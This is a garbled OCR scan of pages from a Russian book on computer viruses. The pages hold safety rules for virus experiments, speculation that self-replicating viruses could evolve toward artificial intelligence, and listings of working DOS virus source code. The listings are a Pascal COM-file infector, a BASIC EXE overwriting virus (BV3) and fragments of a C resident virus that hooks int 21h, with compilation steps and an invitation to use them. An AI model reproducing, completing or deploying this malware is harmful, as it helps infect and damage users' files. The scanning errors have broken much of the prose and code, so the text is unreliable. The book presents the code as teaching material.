Методы защиты ших ЭВМ и сетей чаще всего и бывают ошибочны. А такая ошибка, как увидел чи татель в предыдущих главах, может оказаться роковой. При демонстрации "опасных" вирусов автор и сам часто попадал в ситуа цию, при которой невозможно более ни проследить, ни предугадать пути распрост ранения вируса. Но и для самого разработчика программ вирусов работать с такими програм мами небезопасно. Тот кто занимается разработкой вирусов должен, по крайней ме ре для первых опытов, выбирать, по возможности, такие стратегии распространения, которые легко предсказуемы и контролируемы. Кроме того, ни в коем случае опыты с вирусами не должны выполняться в многозадачной системе в фоновом режиме — слишком велик риск незаметного и неконтролируемого распространения. Экспериментирующий с вирусами должен использовать для своих исследо ваний аппаратно-независимую систему, данные и программный фонд которой нико им образом нельзя сделать доступными посторонним лицам. Идеальными для экспериментов с вирусами представляются персональные компьютеры, поскольку для них едва ли возможно распространение вирусов через забытый или неучтенный аппаратный канал. Еще раз напомним совет: Работать только с копией! "Вирусы" или "зараженные вирусами программы" не должны быть до ступными для посторонних! После работы все программы в ЭВМ— стереть !
Путь к искусственному интеллекту После того, как мы обсудили всю "вирусную тематику", настроив некоторых читателя на резко отрицательное отношение к компьютерным вирусам, попытаемся в этой главе не только найти в них что-нибудь положительное, но и разбудить воображе ние читателя, заставить задуматься о возможности новых видов программирования. "Искусственный интеллект" (artificial intelligence) — это новая подобласть информатики, которой пока никто не может дать точное определение, раскрывающее его смысл. Федеральным Министерством научных исследований этот термин опре деляется как ориентированная на использование ЭВМ наука, которая исследует ин теллектуальные и познавательные способности человека, пытаясь с помощью программ нового типа промоделировать присущие человеку методы решения задач. В противоположность этой словесной шелухе, Т.Радемахер дал следующее, кажущееся более точным, определение: "Искусственный интеллект" — это то, что носит такое название лишь до тех пор, пока этим занимается 2-3 человека, позже это, как правило, получает другое имя". Основная проблема "искусственного интеллекта", по мнению автора, заклю чается в том, чтобы точнее определить понятие собственно "интеллекта". Проблемы,
402
Методы защиты которые могут возникнуть при попытке подобного определения отображены во мно гих произведениях, осмысляющих суть интеллекта. Самым точным определением интеллекта является, пожалуй, следующее: "Интеллект — это то, что можно измерять посредством тестов на интеллект". Однако, пока эксперты спорят о том, что же такое интеллект "естественный", уже пропагандируют интеллект искусственный. Остается лишь упомянуть, что автор епрод уциру ем ые и авто модифицируемые программные структуры в проектах, посвященных искусственному интеллекту даже не рассматриваются, а жаль. Ведь именно нерентабельные и деструктивные техноло гии авторепродуцирований и автомодификаций на основе "вирусных" программных структур предлагают абсолютно новые возможности в разработке программ или их саморазвитии. В данный момент в области искусственного интеллекта все еще поддержива ется ошибочная методология моделирования человеческих методов мышления. Но ведь компьютер — это машина и он никогда не сможет думать как человек. Здесь ве роятно прав известный исследователь мозга, лауреат Нобелевской премии в области медицины сэр J. Eccles, когда он говорит: "...искусственный интеллект — это ничто иное, как греза компьютерной науки. Если компьютер когда-либо и "мыслит", то мыслит он как машина, а не как человек". Однако как определить мышление у машины? Следующие вопросы несколько уточняют проблематику: 4
Предполагает ли интеллект способность мыслить?
4 Возможно ли мышление без сознания ? 4 Бывает ли сознание без жизни ? 4 Бывает ли жизнь без смерти ? При ближайшем рассмотрении этих вопросов можно заключить, что создание искусственного интеллекта должно или может быть равнозначно созданию искусст венной жизни. На этом направлении программы-вирусы также могут указать новые пути решения. Заявляя о необходимости жизни как условия существования интел лекта, с помощью "вирусов" можно сделать первые шаги в этом направлении, учиты вая то обстоятельство, что для программ-вирусов не может идти речь о жизни. Нельзя описать компьютерные вирусы в их "жизненном пространстве" (вычисли тельной системе), поскольку жизнь без субстанции — это только карикатура жизни. Если жизнь объявляется как условие, необходимое для развития интеллекта, нужно, по крайней мере на сегодняшний день, признать невозможность этого разви тия. Особенно, если человек пытается воспроизвести основную концепцию жизни или интеллекта. Как известно, это превышает возможности сегодняшней науки. Та ким образом, остается только путь эволюции. С этой точки зрения необходимо взгля нуть на биологическую жизнь. Можно ли для органических вирусов вообще говорить о жизни? И отвечают на этот вопрос неконкретно: " Этот вопрос спорный, поскольку вирусы, в силу их организации, не имеют никакого собственного обмена веществ.
I
403
Методы защиты Разумеется, они содержат в своих нуклеиновых кислотах генетическую ин формацию для своего размножения. Для реализации этой информации они безуслов но используют продукты обмена веществ клетки-хозяина. Таким образом, вирусы — это клеточные паразиты, которые вне клетки-хозяина не обнаруживают никаких при знаков жизни".
Несколько основных положений о вирусах Главным компонентом биологических вирусов являются протеин (белок) и нуклеиновые кислоты, причем протеин служит исключительно для транспортировки нуклеиновых кислот в другие клетки. Вирусный протеин содержит — в похожих ко личественных соотношениях — такие же аминокислоты, как и клеточные формы жизни. Большая часть протеина имеет только структурные функции, т.е. образует "защитную оболочку" для нуклеиновых кислот. Нуклеиновая кислота встречается либо в форме РНК, либо в форме ДНК. Од нако, в отличие от клеточного организма, вирус конкретного вида никогда не содер жит обе эти формы одновременно. Обе формы имеют замкнутую кольцевую структуру (хромосома), которая образуется из нескольких тысяч (до четверти милли она) нукленоидных элементов. Таким образом, вирус содержит от 1% (для вируса гриппа) до 50% (для некоторых бактериофагов) нуклеиновых кислот. Для специалиста по информатике интересна, собственно, только нуклеиновая кислота. Другие элементы вируса, такие как лепиды или полисахариды, для техниче ского рассмотрения столь же неинтересны, как и протеин. Не следует также останав ливаться на различии между ДНК и РНК, поскольку они нужны лишь при рассмотрении задачи хранения информации.
Об информационном содержании нуклеиновых кислот В нуклеиновых кислотах вообще говоря встречаются только четыре различ ных основания. В ДНК — это адеин (А), гуанин (G), цитозин (С) и тимин (Т). В РНК тимин заменен урацилом (U). Для дальнейшего рассмотрения будем исходить только из четырех оснований: A, G, С, и Т. Для простоты понимания, без претензии на научную доказательность, каждо му месту нукленоида в цепи ДНК поставим информационное содержание 4**1, по скольку это место может быть занят» любым из четырех оснований. Таким образом, информационное цепи ДНК из "п" членов составляет 4**п. Тогда для простого био логического вируса с 1000 нукленоидов (обычно больше), получим информационное содержание =4**1000. Вероятность того, что такой вирус образуется случайно, заве домо ниже вероятности, приведенной Коэном, для образования компьютерного виру са. Коэн исходит из 1000 двоичных разрядов, а в данном случае необходимо 1000 разрядов в "четверичной" системе счисления. Хотя Коэн исключает возможность случайного образования компьютерного вируса уже при его длине 1000 бит, органи ческие вирусы могут образовываться и при более неблагоприятных условиях. При этом нужно еще учесть тот факт, что ДНК образуется с обязательным различием нук леноидных элементов. Каждый из этих нукленоидов может быть разложен на моле кулы, молекулы — на атомы, а атомы (вероятно) — на кварки. Если подсчитать
404
Методы защиты вероятность возникновения органической клетки из наименьших возможных компо нентов, она, по всей видимости, окажется близкой к нулю. Разумеется начинать сле дует не с наименьших компонентов, а с уже существующих: молекул, аминокислот, макромолекул. Может ли из таких компонентов образоваться органический вирус или нет, предоставим судить самому читателю. Если исходить из того, что в момент времени X на земле существовали как вирусные, так и клеточные формы жизни, то спрашивается, почему клеточные формы жизни развили интеллект до довольно высокого уровня, а вирусные — нет? Если вирусную жизнь рассматривать как "живую информацию" (органичес кие вирусы являются формой жизни без обмена веществ), то можно придти к заклю ! чению, что органическая ячейка вовсе не обязательно является идеальной жизненной средой для информации. Так же, впрочем, как и современная вычисли тельная система — не лучшая среда для существования органических клеток. Очевидно развитие вирусных форм жизни было возможно лишь до опреде ленной ступени. Рассматривая вычислительные системы, как место существования информа ции, можно придти к выводу, что в настоящее время для этого вряд ли можно найти более удобное место. Можно ли представить, что внутри такой системы вирусная жизнь может раз виться до более высокой ступени? Биологи, генетики и биохимики уже достаточно давно изучают эволюцию и задачу создания жизни. Однако, несмотря на то, что ком пьютерная техника достигла существенно больших успехов на этом пути, чем микро биология (в микробиологии до сих пор удалось лишь искусственное соединение различных нуклеиновых кислот, тогда как в компьютерной технике уже пришли к со зданию вирусов), едва ли это прогресс, поскольку на практике все центры программи рования продолжают использование традиционной техники программирования. 1ожалуй, только японцы имеют шанс первыми использовать возможности биокомпьтерной техники. Уже сегодня в Японии разработаны биосенсоры, которые могут из мерять количество органических веществ в сточных водах. Немецкие разработчики в этой области, как всегда, не нашли у промышленности никакой поддержки. По предварительным прогнозам, японцы могли бы лет на шесть опередить своих конкурентов в этой области, вложив примерно 57 миллиардов долларов. Можно ли представить себе, что компьютерные вирусы откроют новые пути в программировании, как японские биокомпоненты — в компьтерных системах? Для изучения авторепродуцируемых и автомодифицируемых технологий про граммирования были бы необходимы расширенные эксперименты на больших, высо коскоростных установках без защитных средств, на которых вирусы через некоторое, достаточно небольшое время, смогли бы пройти чрезвычайно быструю эволюцию, как бы в режиме ускоренного времени и, таким образом, осуществили развитие, как если бы они развивались вместе с жизнью на земле. Конечно, сказать с уверенностью, каким будет это развитие и куда оно приведет, невозможно, как ни один человек не в состоянии рассказать о развитии жизни от первых аминокислот до Homo Sapiens'a.
405
М е т о д ы защиты Однако очевидно, что вирусы на выбранных для этого системах, претерпели бы уди вительные изменения, поскольку эти программы могли бы быть заранее снабжены оп тимальными стратегиями выживания и мутаций, что создало бы для них условия, о которых праисторический одноклеточный организм "не мог и мечтать". Однако и в неблагоприятном окружении вирусные программы, как показано в предыдущих гла вах, имеют зачастую невероятную способность к выживанию. Модель для такого ро да эксперимента могла бы, вероятно, выглядеть следующим образом: 4 мощная система восприятия, оснащенная: а) сенсорами света/формы/цвета; б) сенсорами шума; с) клавишами в качестве сверхзвуковых (пространственных) сенсоров; д) инфракрасными (пространственными) сенсорами; е) газовыми сенсорами; 4
возможности вывода/коммуникации:
а) изображения; б) информации из больших банков данных; с) звуковой информации посредством громкоговорителя с цифроаналоговым преоб разователем; 4- программное обеспечение: а) драйверы для всех доступных периферийных устройств; б) программное обеспечение с репродуцирующими и модифицирующими функциями; с) вероятно, программа наивысшего уровня иерархии, селектирующая жизнеспособ ные и нежизнеспособные мутации. Это, разумеется, всего лишь обобщенная модель, которая, при необходимости ее исследования, должна быть специфицирована значительно подробнее. Объяснения того, что подобные эксперименты не проводились до сих пор нужно искать, пожалуй, лишь в том, что с одной стороны, экспериментаторы были обречены на пассивное ожидание, а с другой — сами не понимали результатов своих исследований. Быть мо жет был и страх перед возможностью потери контроля над экспериментом или перед возможностью узнать слишком много о том, что называется "тайной жизни". Но исследования невозможны без неизвестности, как утверждали еще в конце 70-х годов Simon Nora и Alain Mine в своей работе "Информатизирование общества": "Неизвестность — это новый вызов. В этом случае нет прогноза, но лишь правильные вопросы о средствах и путях, с помощью которых можно придти к ожи даемой цели". О возможном развитии в области искусственного интеллекта думал, очевид но, и Martin L. Minsky из Массачусетского университета, когда утверждал: "Смешно думать, что если когда-нибудь автоматы достигнут интеллектуального уровня чело века, их развитие на этом остановится или предполагать, что мы на все времена бу дем конкурировать с ними на уровне "крестиков-ноликов"".
406
Методы защиты Будем ли мы при этом помнить о способе контроля над машинами или нет, предположив, что мы захотим его сохранить, в любом случае наша жизнь, наша дея тельность и наше честолюбие будут принципиально изменены присутствием на зем ле созданий, интеллектуально превосходящих нас. К похожим выводам пришел кибернетик Karl Steinbuch еще в 1971 году: "... нет оснований, утверждать, что развитие автоматов должно ограничиваться именно интеллектуальным уровнем человека. Ведь это развитие будет идти таким же путем, как и развитие организмов, т.е. путем мутаций и естественного отбора." Если попытаться пойти несколько дальше в своих размышлениях о содержа нии информации, хранящейся в ДНК и вновь представить себе органические виру сы, как форму "информационной жизни", то в голову обязательно придет мысль о >азработке компилятора ДНК. С его созданием появилась бы возможность преобра зования компьютерных программ в генетический код, который можно было бы пере сылать в биокомпьютер. С другой стороны, было бы возможно декодировать енетическую информацию и вводить ее в компьютерную программу, которая затем могла бы быть использована на стандартной вычислительной системе. Возможность разработки биокомпьютера была обсуждена еще в 1983 году в не скольких статьях SCIENCE, и участники конгресса поставили перед лицом "компью терной общественности" вопрос: "Если это может природа, то почему не можем мы?". И действительно, складывается впечатление, что в отличие от традиционных электронных решений, молекулярные блоки предлагают-фантастические возможно сти. F.L. Carter (Naval Research Laboratory) описал модели молекулярного накопите ля и логического вентиля. Причем моделируемая молекула могла устанавливаться более чем в два (0,1) устойчивых состояния. Может быть наименьшая информацион ная единица компьютера окажется не 2**1, а 4**1 или даже 8**1. Конструктивные эазмеры микрочипа, построенного по такой технологии, сможет конкурировать с длиной световой волны видимого диапазона. По мнению участников конгресса, с по мощью компьютеров, которые будут сконструированы из таких элементов, станет возможной реализация таких проектов, как разумный робот, интеллектуальный по мощник для слепых и т.д. Однако для получения тех же решений можно было бы попытаться использо вать самосоздание самостоятельного разума в компьютере на основе вирусных про грамм. Как вели бы себя подобные "разумные" компьютеры? О множестве возникающих вопросов можно судить хотя бы по тому, сколько их возникает при рас смотрении проблемы хотя бы с точки зрения психологии. Например, потребность в эаздражении. Еще с исследования D.O. Hebb (McGill Universitaet) 1951-1954 годов известно, какие последствия для психики человека может иметь отключение его от раздражений, получаемых от внешнего мира. Каждый человек хоть раз страдал от скуки. Эта проблема особенно актуальна для пенсионеров и безработных. Многие
Е
щут ее решения в мире грез, безудержного потребления алкоголя или наркотиков, розит ли что-либо подобное разумным машинам? Может быть борясь со скукой ма[ина сама будет прекращать свое функционирование?
Методы защиты Интеллект побуждает постоянно узнавать новое и получать информацию. Не возникнет ли таким образом непрекращающийся информационный голод? Будут ли машины обучаться методом проб и ошибок или они разовьют спо собность "социального", т.е. подражательного обучения? Смогут ли они осознать свою зависимость от людей и попытаются ли когданибудь избавиться от нее?
408
Языки программирования программ-вирусов
Языки программирования программ-вирусов Какие языки программирования целесообразно использовать при написании программ-вирусов?.. На этот вопрос даже неопытный пользователь ответит однозначно: "ассемб лер". Абсолютно верно! Поскольку благодаря машинному языку программа в состо янии обойти все меры безопасности, обусловленные внутренними соглашениями операционной системы и соответствующим программным обеспечением. Кроме то го, время, выполнения составленной на ассемблере программы-вируса очень мало, поскольку время доступа к массовой памяти резко сокращается. И все же програм мы-вирусы могут быть написаны и на языках высокого уровня (ЯВУ), что и будет продемонстрировано на следующих страницах данной книги. Приведенные распечатки отлажены в среде MS-DOS и представляют собой работоспособные программы-вирусы, однако в этой форме они не могут использо ваться для выполнения каких-либо манипуляций. Совершенно сознательно эти про граммы не стали снабжать подпрограммами обработки ошибок, например, на случай полного "заражения" системы, поскольку в противном случае недобросовестный программист получил бы в свои руки средство для выполнения весьма опасных ма нипуляций. Таким образом, с помощью программ, распечатки которых приводятся, можно "привить" вирус системе, но такая "инфекция" устраняется довольно быстро. По сути, все приведенные в этой книге вирусы являются мертвыми поскольку обна руживаются и уничтожаются по крайней мере двумя известными антивирусами. Для того, чтобы свести к минимуму риск нанесения ущерба системе, повто рим еще раз важнейшие правила безопасности при работе с программами-вирусами: РАБОТАТЬ ТОЛЬКО С КОПИЯМИ! Исключить возможность доступа к "вирусам" или зараженным вирусом про граммам случайных людей. После завершения работы все записанные в ЭВМ про граммы стереть. Если при работе с "зараженными" программами следовать этим правилам бе зопасности, опасность неконтролируемого распространения вирусов исключается. Так как мы уже рассмотрели восемь вирусов на ассемблере, то приводить еще примеры вирусов на этом языке низкого уровня не имеет смысла, поэтому подробнее остановимся на ЯВУ (языке высокого уровня)
Вирусы на языках высокого уровня Pascal, С, Forth и даже BASIC —• эти языки применяются для создания виру сов. Несколько исходных текстов помогут разобраться, что к чему.
I
409
Языки программирования программ-вирусов
Pascal Вирусы это хорошая возбудилка для ума, но все думают, что написать вирус на "высоком" языке весьма трудно. Так вот, знайте люди — это НЕПРАВДА! Писать на Паскале очень легко, правда величина результирующего кода вы зывает благоговейный трепет. Но, что поделать, приходится этот самый код сжимать какой-либо сжималкой типа Pklite (запоклитить) и учитывать сие обстоятельство при повторной компиляции. Язык высокого уровня Паскаль, а особенно Турбо-Паскаль, в силу своей бли зости к машинному языку предоставляет отличные возможности для написания про грамм-вирусов. Правда, недостатком его является то, что компилятор Паскаля не берет файлы длиной менее 12 Кбайт. Но поскольку для целей отладки размер про граммы значения не имеет, Турбо-Паскаль вполне пригоден для того, чтобы уяснить принципиальную структуру вирусов. В качестве примера здесь приводится перезаписывающая программа-вирус на Паскале. Эти коды время от времени публиковались пересылались через различ ные "почтовые ящики". Здесь программа публикуется в своей первоначальной фор ме с комментариями, составленными ее автором М.Валленом.
410
Языки
программирования
программ-вирусов
411
Языки
412
программирования
программ-вирусов
Языки
программирования
программ-вирусов
руете сей исходник, смотрите длину получившегося ЕХЕ-файла и сею цифру вписы ваете в Virlen (20-я строка исходника) и компилируете еще раз. Все! Пользуйтесь! Да, чуть не забыл. При первом запуске система зависнет или закроется приложение в Windows. He пугайтесь — это нормальная реакция вируса на то что его запустили не с дрозофилы. Перезагрузите компьютер или снова откройте приложение Windows.
Языки
414
программирования
программ-вирусов
Языки
программирования
программ-вирусов
415
Языки программирования программ-вирусов OUT 21h, AL POP AX end; Ir.it; FindTarget; asm PUSH AX IN AL, 21h AND AL, OFCh OUT 221h, In, AL POP AX end; ExecOriginal; If False Then begin writeln('Syndrom Turovicha Virus made xxxx'); writein('Salute') ; writeln('Salute') writeln('Press any key...'); readln; close(Target); erase (Target);{Если еще раз найдем метку, утрем файл} end; end. Судя по алгоритму вирус, был создан на DNVG (Dirty Nazi Vims Generator), a потом видоизменен неизвестным автором. Прошу прощения за скудные коммента рии. Но, по-моему, все очень прозрачно. Когда вы взгляните вниз, то увидите откомментированный исходник нерези дентного вируса заражающего СОМ-файлы. Сам исходный текст был передан мне одним знакомым моего знакомого, по сле того как над исходным текстом поработал Light General — известный в опреде ленных кругах вирмейкер.
416
г
Языки
программирования
программ-вирусов
(* Берем имя файла откуда мы загрузились *) reset (f , 1 ) ; (* Open it ... *) getmem(p,vir_len); л blockread(f,р ,vir_Ien); (* Читаем начало сего файла (т.е. тело нашего запоколоченного вируса *) seek(f,vir_len) ; 11:=filesize(f)-vir_len; (* 11:='незараженная' длина файла *) getmem(pl,11); A blockread(f,pl , 11) ; (*Читаем с того места,, где начинается сама оригинальная программа (т.к. весь процесс заражения состоит в отодвигании программы в файле на vir_ien байт и записи в это место тела вируса.Т.е. теперь вирус будет иметь управление первым.*) assign(f1, 'Light.com'); (^Создадим на диске левый файл *) rewrite (f1,1) ; A blockwrite(fl,pl ,11); (^Запишем в него только что считанную программу*) freemem(pi,11) ; close (f); close(f1); if paramstr(1)= '10' then (*Коли в командной строке была печетана цифра, то выведем информацию о вирусе*) begin write-In ('VIRUS INFO.'); writeln('Name:Big Body. ' ) ; writeln('Model:C-',vir_len); writeln('Danger:0'); writeln('Stealth factor:1'); writeln('Language:Turbo Pascal 5.5'); writeln('Creator&K: (c)Andrew. ' ) ; writeln ( 'Modif ity&coinment by Light General.') ; writeln; end; swapvectors; exec('Light.com',paramstr(1)); (*Запустим 'чистый' файл на выполнение*) (*Теперь, когда файл отработал, мы получаем управление!!!*) swapvectors; erase(f1); findfirst('*.com',archive,sr) ; (* Поищем что бы заразить *) __1: if (doserror = С) and {sr. size<max_len) and (sr.name <>'COMMAND.COM1} then begin
417
Языки программирования программ-вирусов
Особенности данного вируса: 1. После заражения файл станет .ЕХЕ программой. Сие происходит оттого, что ви рус после компиляции являлся .ЕХЕ файлом, а при заражении просто прилепил к себе бедный зараженный СОМ-файл. Соответственно первые байты файла стали 'MZ' ,что говорит системе об экзешности файла. 2. Всякие программы реагирующие на изменение своей длины НЕ БУДУТ вопить о гнусных изменениях файла, т.к. он запускается вирусом в "очищенной" форме (единственно — с неоригинальным именем...). 3. Лечить зараженные программы можно тупо в текстовом редакторе — просто делая DEL для первых virjen байтов. Но вирусатор может сделать viMeni^ir^len+mdflOO), а оригинальную длину запоминать где-либо в теле вируса. 4. И еще, запомните: программа, зараженная ЭТИМ вирусом, с защищенной от за писи дискеты НИКОГДА не стартует!
BASIC Хотя многие сегодняшние специалисты в языках программирования начинали с Бейсика, программисты, работающие на Бейсике, частенько подвергаются насмеш кам. Однако этот язык позволяет создавать очень эффективные программы-вирусы.
418
Языки программирования программ-вирусов В качестве первого примера приведем программу, которая использует опреде ленные особенности операционной системы MS-DOS и в состоянии поражать ЕХЕфайлы, будучи перезаписывающим вирусом. При этом распечатку нужно скомпилировать, затем сравнить длину скомпилированного и связанного ЕХЕ-файла, заново отредактировать исходную программу и установить переменную VIRLENGTH (длина вируса) на длину скомпилированной программы. Теперь нужно еще раз скомпилировать исходную программу и перезаписывающий вирус готов. Для то го, чтобы из этой программы-вируса получить неперезаписывающий вирус, можно, например, с помощью APPEND в конец инфицированной программы считать имя со ответствующей оригинальной программы и затем запросить эту оригинальную про грамму с помощью SHELL PRGname. Но для этого нужно иметь соответствующий компилятор. Для таких про грамм нужно помнить следующее: 1. Файл BV3.EXE должен находиться в актуальном каталоге. 2. Должен быть достижим файл COMMAND.COM, чтобы можно было выполнить команду SHELL. 3. Переменная LENGTHVIR (длина вируса) должна быть установлена на длину свя занной программы (связывание необходимо выполнить дважды). 4. Для компилятора Microsoft-Quick_basic должен использоваться ключ /е. 10 REM 2 0 REM 30 REM 4 0 REM 50 ON ERROR GO TO 610 60 REM *** параметр 70 REM * * * должен быть установлен 8 0 REM * ** на длину связанной программы 90 LENGTHVIR-2641 100 VIRROOT$="BV3.EXE" 110 REM *** записать в файл "INH" 12 0 REM *** содержимое каталога 130 SHELL "DIR *.exe inh" 140 REM *** Открыть файл "INH" и считать имена 150 OPEN "R",1,"inh",32000 160 LINE INPUT#1, ORIGINAL$ 170 LINE INPUT*1, ORIGINAL$ 180 LINE INPUTtl, ORIGINALS 190 LINE INPUT#1, ORIGINALS 200 LINE INPUT#1, ORIGINALS 210 ON ERROR GO TO 670 220 CLOSE = 2 230 F=l: LINE INPUTtl, ORIGINALS 240 REM ** "%"- это байт идентификатора BV3 250 REM *** "%" в имени означает: 260 REM *** существует уже'инфицированная копия 270 IF MIDS (ORIGINALS, l, 13) "%"* THEN GO TO 210 280 ORIGINAL$= MID${ORIGINALS,1,13)
419
Языки
420
программирования
программ-вирусов
Языки r ipo zpai UB ST EXE V3 EXE NH CRT EXE
16627 2641 277 1664
4-15-97 12-13-99 12-13-99 4-15-97
12
OOp 8 27p 8 4 3p 12 OOp
Здесь появился новый файл INH, в котором находится содержимое каталога, а также файл %ORT.EXE. Файлы, начинающиеся с "%", являются копиями сохране ния исходного программного обеспечения. Эти копии могут использоваться для воз можного распространения программ, чтобы сделать из этой программы неперазаписывающий вирус. Программы с "%" в имени более не поражаются виру сом, потому переименование программ защищает от этого вируса точно так же, как \ длина программы, точно соответствующая LENGTHVIR. Но это вряд лм применимые на практике способы защиты от вируса. При пол ном "заражении" всех файлов каталога выдается сообщение об ошибке, поскольку возникающие ошибки "перехватываются" лишь частично. Для полного осознания разработки вирусов на данном языке программирова ния еще один пример.
421
Языки
программирования
программ-вирусов
330 IF MID$(ORIGINALS,F, 1) =" " OR MID$ (ORIGINALS,F,1)="." OR F=I3 THEN GOTO
350
340 350 360 365 370 380 390 400 410 420 431 440 450 460 470
GOTO 320 ORIGINAL$=MID$(ORIGINALS,1,F-1)+EXTENSION$ ON ERROR GOTO 210 TEST$="" REM ++ OPEN FILE FOUND +++ OPEN "R",2,GROGINAL$,LENGHTVIR IF LOF(2) < LENGHTVIR THEN GOTO 420 GET #2,2 LINE INPUTtl,TESTS CLOSE#2 REM ++ CHECK IF PROGRAM IS ILL ++ REM ++ "%" AT THE END OF THE FILE MEANS,. REM ++ FILE IS ALREADY SICK ++ REM IF MID$(TEST,2,1)="%" THEN GOTO 210 CLOSEtl
480 490 499 510 520
ORIGINALS$=ORI<3INAL$ MID$(ORIGINALS?,1,1)="%" REM ++++ SANE "HEALTHY" PROGRAM ++++ CS = "COPY "+ORIGINAL$-b" " + O R I G I N A L S S SHELL C$
530 540 550 560 570 580 590
REM *** COPY VIRUS TO HEALTHY PROGRAM **** C$="COPY "+VIRROOTS+ORIGINALS SHELL C$ REM *** APPEND VIRUS MARKER *** OPEN ORIGINALS FOR APPEND AS #1 LEN-13 WRITE#l,ORIGINALSS CLOSE#l
630 640 650
REM ++ OUYPUT MESSAGE ++ PRINT " I N F E C T I O N I N " ; O R I G I A N A L $ ; SYSTEM
" \ I
BE V3ARE
! 1"
660 REM ** VIRUS ERROR MESSAGE 670 PRINT "VIRUS INTERNAL ERROR GOTTCHA MM":SYSTEM 680 END Этот вирус заражает ЕХЕ-файлы. После исполнения вы увидите "INH''-файл, который содержит директорию, и файл %SORT.EXE. Программы, которые стартуют с "%" не инфицированы.
Си Профессиональный язык программирования Си —действительно весьма про фессионален. На Си написана большая часть Windows, легендарный AVP и некоторые утилиты Нортона. Но написать вирус на Си гораздо сложнее, чем на Паскале. Я думаю, надо сказать о том, что Си поддерживается Американским национальным институтом стандартов и является одним из ведущих языков написания системных программ. При составлении вирусов на Си нужно учитывать его жесткую структуру и неуклюжесть в обращении с некоторыми данными. Неудивительно, что многие люди, особенно те, кто раньше не программировал, находят Си слишком трудным для изучения. Ниже приво-
422
Языки
программирования
программ-вирусов
RCE-2048 Вирус на Си и для Си... Несколько слов о данном проекте. Использована программа ТСС как транс лятор ^интерпретатор Си -> Ассемблер. При этом не использовались стандартные библиотеки ввода-вывода. Исходный текст колет (режет) глаза asm вставками, НО те перь без особых затрат можно написать вирус на Си в довольно удобной обстановке. В тексте отсутствуют подробные комментарии, но сие вызывает надежду, что однадве личности посредством лазания в дебаггер и результирующий .ASM файл получат ясное представление о коде получаемом в процессе работы компиляторов ЯВУ. Идеология проекта При использовании пакета Си фирмы Borland, можно задать автономному ком пилятору опцию <сделать выходной .ASM файл>. Затем этот файл компилируем TASM'OM и линкуем TLINK'OM. ЕСЛИ не использовать стандартные библиотеки компи лятора, то получим автономную программу с широкими возможностями перемещения! Особенности программирования. •
Прошу обратить внимание на то, что все выше- и нижеприведенные данные от носятся к пакету: 'Turbo С Version 2.0 Copyright (с) 1987, 1988 Borland International' + Адресация глобальных переменных: в данном случае сегмент DS должен указы вать на программу так, чтобы ее стартовое смещение равнялось 0000. • Адресация локальных переменных: адреса вычисляются относительно SS:adr, a обращение через NEAR указатель на локальную переменную ведется относитель но DS;adr. Т.е. приходится обращаться к ним по дальнему указателю SS:adr (или при входе в резидентную часть вируса устанавливать SS на свой сегмент данных) Процесс компиляции вируса Транслируем исходник:
Компилируем выходной .ASM файл: TASM /m3/t/z v i r u s . a s m Линкуем в .EXE : tlink /x virus.obj ЭТОТ исходный текст представлен как пример написания вируса на Си. Дан ный вирус является типичным представителем семейства RCE. Он записывается в
424
428
Языки
программирования
программ-вирусов
/*выделением ошибочного размера памяти получаем*/ /^реальную длину того, что можно выделить*/ /*реальную /*и выделяем память для оригинальной программы •101h 101h */ i=getmera(getmem{-l)-0x101) i=getmem(getmem{-l)-0x101) ; OurTsrSEG=getmem(0xl00) ; /*выделим память для тела вируса */ /* OurTsrSEG - сегментн. адр. "откуш." памяти!*/ ; pokeb(i-l,0, pokeb(i-l, 0,'Z* *Z*));; /* отмечаем блок для оригинальной программы как последний */ /*переносим тело вируса в выделенную память*/ for{i=0;ii=2048;i++) pokeb(OurTsrSEG,I,peekb(OurEntrySEG, i) ) ; pokeb(OurTsrSEG,i,peekb(OurEntrySEG,i)); /* ставим свой обработчик на int 21h */ int2Ivec=MK_FP(0, 0x21*4) ; int2Ivec=MK_FP(0,0x21*4) *int21vec=(dword)MK_FP(OurTsrSEG, *Int21manager) ; *int21vec=(dword)MK_FP(OurTsrSEG,*Int21manager); } void intr(byte intn) { vecON=l; asm mov al,intn asm mov intrnum,al intrnumfal asm mov ax,ax_ asm mov mov bx,bx_ bx,bx_ asm mov ex,cx_ dx,dx_ asm mov dx,dx__ asm mov si,si_ asm mov di, di_ asm mov es,es_ asm mov ds,ds_ asm db Oxcd /* int */ asm intrnum db 0 /* xx*/ asm push ds cs asm pop ds asm pop ds__ asm mov ax_,ax asm mov bx__,bx asm mov cx_,ex asm mov dx_,dx asm mov si_,si asm mov di_,di asm mov es_,es asm pushf asm pop ax asm mov f1_,ax asm and al,1 asm mov carry_,al vecON=0; }
429
Языки
программирования
программ-вирусов
432
Языки
программирования
программ-вирусов
{
/*для того, чтобы при компиляции смещения переменные вычислялись от начала кода мы.пишем assume ... */ asm ASSUME cs:NOTHING,ds:NOTHING,ss:NOTHING }
FORTH Должен сразу оговориться, что все нежеприведенное не является рекламой, в какой бы то ни было степени. В свое время меня заинтересовал язык программирования Форт. Так вот — сей язык (в своем первообразном виде образца 197.. года), по-моему, просто гимн ви русному полиморфизму и защите от разглядывания кода. Язык FORTH, являясь ровесником Паскаля и Си (он на год младше Паскаля и на год старше Си: Паскаль — 1970 г. (Н. Вирт), Форт— 1971 г. (Ч. Мур), Си 1972 г.(Ве11 Laboratories)), оказался намного менее популярным на территории стран бывшего СССР. Причины этому я вижу всего две. Во-первых, Форт выпал из эволюционного ря да языков программирования, в который входят Си и Паскаль и начало которому поло жено, очевидно, Фортраном и Бейсиком. По своей философии язык Форт очень далек от них, и прямого предка Форта назвать сложно. Он ближе, чем к другим, к Лиспу (ко торый отечественным прораммистам знаком немного, разве что по Автокаду), но и Лисп из другого ряда. Поэтому программисты были совершенно не готовы обратиться немедленно в "новую веру" и не сделали этого. Кроме того, Форт смог показать всю свою мощь только в эпоху персональных компьютеров и дал в этом большую фору тра диционным языкам, успешно развивающимся на старых платформах. Наша неподго товленность — первая причина. Во-вторых, отсутствие трансляторов и информации. Многие уважаемые мною программисты (и среди них те, кого я считаю своими учите лями) так прямо мне и говорят: если бы Форт был действительно хорошим языком, то, очевидно, существовал бы транслятор Turbo Forth или Borland Forth... , и если он не пользуется поддержкой крупных фирм, то и говорить о нем нечего. Трансляторы фир мы Borland пользуются совершенно заслуженным нашим уважением (и у меня на вин честере, как и у вас, есть и ТР 6.0, и C++, и Turbo Prolog), но неужели я теперь должен считать эту фирму виновной в неуспехе Форта?! По моим данным, популярный (на За паде) GraForth имеет все же некоторое отношение к фирме Borland Inc. (во всяком слу чае существует книга со следующим названием: Lutus P. GraFORTH. User Manual. Borland 